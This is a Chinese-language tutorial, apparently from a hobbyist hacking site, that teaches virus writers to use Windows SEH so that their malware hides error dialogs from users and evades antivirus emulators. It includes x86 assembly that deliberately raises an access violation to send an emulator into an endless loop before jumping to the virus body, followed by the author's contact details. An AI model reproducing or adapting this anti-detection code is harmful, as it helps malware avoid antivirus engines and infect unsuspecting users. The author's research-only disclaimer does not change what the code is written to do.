文章作者:henrynote
SEH 於病毒的应用
前话:
由於小弟技术很烂,有错的地方,请多多指正,不要客气。谢谢啦…这篇文章是我的第一篇,可能会
错误百出,所以不要期待这是一篇好文章。希望能共同进步!
*这篇文章只出於研究病毒用途,请不要用此技术制造具有破坏性的病毒。谢谢!如有任何人用此技术
造成任何破坏,於本人无关!
简介:
SEH 是什麽?不知道是什麽东东的话,就先去看看hume写的《SEH in ASM 的研究》或者
《Win32 Exception handling for assembler programmers by Jeremy Gordon》,再回来看这篇
烂文章吧!
1.为什麽要在病毒里使用seh呢?
任何程序都有可能有错误出现的,在我们的病毒里也是一样。病毒通常是用户在不知不觉下
做手脚,如果我们的病毒出了错,那麽就有可能弹出一个个讨厌的错误信息框,这样一来我们的病毒
就没有什麽意思了。不被用户察觉是十分重要的,所以我们要用SEH来处理我们病毒里有可能出现的错
误。这是 SEH 於病毒中的应用之一,相信你在看完成SEH 的文章後,应该知道怎样使用SEH去处理在
病毒里所产生的异常。
在我们的病毒里还有一样很重要的是--避免被侦察到,不然我们的病毒在开始运行的时候就被
发现和杀掉,那麽我们的心血就泡汤了!所以我们要令我们的病毒不容易给 反病毒引擎 发现。
当一个程序运行时,反病毒引擎会模拟程序的代码,如果它找到的疑点多的话,那麽这个程序
大多是被病毒感染了!这时反病毒引擎会做出适当的处理。所以我们可以在病毒里使用SEH设计一个陷阱
给AVs的Emulator。这样就可避免被捕!哈哈!
2.如何用SEH於你的病毒去搞定Emulator?
o当!o当!入正题!既然它那麽喜欢要模拟我们的代码,我们就在病毒一开始就安装一个SEH,
该处理异常程序就是我们的病毒,然後制造一个异常。这样就进入异常处理程序(我们的病毒)继续执行
。而仿真器却会以为是这是个普通异常处理程序,但是有些AVs会在遇到错误代码之后试图继续模拟下一
个指令,那麽我们就让它进入一个死循环!哈哈!How? 看看下面的代码:
*部分代码是引用benny's polymorphic engine
start: call Set_SEH ;这句其实就是 push offset CONTINUE
; JMP Set_SEH
CONTINUE: mov esp, [esp+8] ;恢复堆栈, 当一个异常产生时,系统会挂起程序,并呼叫处理程序,
;传送处理程序的参数里,在[ESP+8]处储存的是旧的堆栈的地址
push offset Start_Virus ;----_ 把Start_Virus 的地址压进堆栈里,当作返回地址
ret ;---- 跟着来一个ret,跳到Start_Virus去,是不是很magic?
Set_SEH: sub edx, edx ;Edx =0
;如果你使用的是masm,应该加下面一句,不然就会引起编译错误
;Assume fs:nothing
push dword ptr fs:[edx] ;把指去 _EXCEPTIONAL_REGISTRATION_RECORD 结构的指针压到堆栈
mov fs:[edx], esp ;安装一个seh 框架
mov [edx],edx ;注意这里引起一个异常,因为edx=0, 所以会引起一个读写内存冲突的异常,
;如果Emulator 不理会异常,不进入seh 处理程序(即 CONTINUE: ),继续模
;拟下个指令,也就是jmp start,那麽就会进入一个死循环,这可能会造成当
jmp start ;机
Start_Virus: .....
.....
自己试试看吧!
明白了吗?不明白?没关系,没有什麽人什麽都懂,写信给我,我们来讨论一下吧!我的qq:50527053,icq 72424549
email:henrynote@msn.com
*後话
SEH 的应用很广,不只是在病毒里有用(废话),最常用的当然是用来处理在可预知的异常,SEH 技术也可以用於
返跟踪等等!
写这篇的文章的目的是为了和各位初学者分享学习结果,我也是初学者,希望能与大家一同进步。
在这里要感谢很多人,所有帮助过我的朋友,有鼓励我写这篇文章的-老罗,还有很多大哥。
--------------------------------------------------------------------------------------------------------------
如需转载,请注明本文由henrynote着! Henry's WorkShop :
http://hackit2000.virtualave.net
Thankyou For Very Much !